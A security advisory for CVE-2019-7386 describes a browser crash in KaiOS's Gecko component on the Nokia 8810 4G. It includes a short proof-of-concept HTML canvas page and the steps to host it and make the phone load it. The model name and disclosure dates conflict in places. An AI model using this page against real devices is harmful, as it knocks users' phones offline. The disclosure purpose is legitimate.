```
==================================================
DoS and gecko reboot in the nokia 8810 4G handset
==================================================

. contents:: Table Of Content

Overview
========

Title:- DoS and gecko reboot in the nokia 8810 4G handset
Author: Kaustubh G. Padwad
CVE ID: CVE-2019-7386
Vendor: HMD Global, Nokia, KaiOS
Products: Nokia 88104G

Tested Version: :
        Model :- Nokia 8810 4G
        Software : 10.05
        Kai OS Version  : 2,5
        Build Number : 10.05
        Platfirm ver : 48.0.a2
Severity: High--Critical

Advisory ID
============
KSA-Dev-007


About the Product:
==================
Brand Nokia
Developer HMD Global
Manufacturer Foxconn
Operating System :  kaios
Nokia 8110 4G is a Nokia-branded mobile phone developed by HMD Global. It was announced on
25 February 2018 at Mobile World Congress (MWC) 2018 in Barcelona, Spain, as a revival of
the original Nokia 8110, which was popularly known as the "Matrix phone" or "banana phone".
It runs on an operating system based on KaiOS, and through the company's partnership with
Google also features Google services like Maps and Assistant.

Description:
============

A Denial of Service issue has been discovered in the Gecko  component of KaiOS 2.5 10.05
(platform 48.0.a2) on Nokia 8810 4G devices. When a crafted web page is  visited with the
internal browser, the Gecko process crashes with a  segfault. Successful exploitation could
lead to the remote code
 execution on the device.

Affected Product Code Base
Nokia 8810 4G - Software : 10.05 , Kai OS Version  : 2,5 ,Build Number : 10.05 ,Platform ver
: 48.0.a2


Vulnerability Class:
====================
Buffer Overflow

Attack Type
===========
Remote


Impact Denial of Service
```

```
========================
 true


Attack Vectors
==============
To exploit this vulnerability one needs to visit the crafted webpage using inbuilt browser
in the device

Affected Component
the Denial of Service issue has been discovered in the the gecko component of the KaiOS used
in Nokia 8810 4G, When crafted web page is
visited by internal browser of Nokia the gecko process crash with  segfault


How to Reproduce: (POC):
========================
1. Host the webpage with below contain on the controlled server Eg. 192.168.1.1 as
crash.html.

<!DOCTYPE html>
<html>
<body>
  <canvas id="canvas" width="500", height="500"> </canvas>
  <script>
  var canvas = document.getElementById("canvas");
  var width = canvas.width;
  var height = canvas.height;
  for (var x=0; x < 400; x++){
    var ctx = canvas.getContext("2d");
    for (var i = 0; i < width; i += 10) {
      ctx.moveTo(i, 0);
      ctx.lineTo(i, height);
      ctx.stroke();
    }
  }
  </script>
</body>
</html>


2. Now visit the url http://192.168.1.1/crash.html using the inbuilt browser.

3. As soon as page render it cause the buffer overflow in skiaGL component of the gecko and
cause gecko to reboot.

Mitigation
==========

Not Available

Disclosure:
===========
01-JAN-2019 Discoverd the Vulnerability
01-jan-2018 Reported to Nokia
02-JAN-2019 Nokia ask to report to the HMD Global,
02-JAN-2019 Reported to HMD Global using info@hmdglobal.com (No Repsonse)
04-JAN-2019 twitted to them (No Reposne)
05-Jan-2019 Requested For CVE-ID
04-FEB-2019: CVE Assigned

credits:
========
* Kaustubh Padwad
* Information Security Researcher
```

```
 * kingkaustubh@me.com
 *
 * https://twitter.com/s3curityb3ast
 * http://breakthesec.com
 * https://www.linkedin.com/in/kaustubhpadwad
```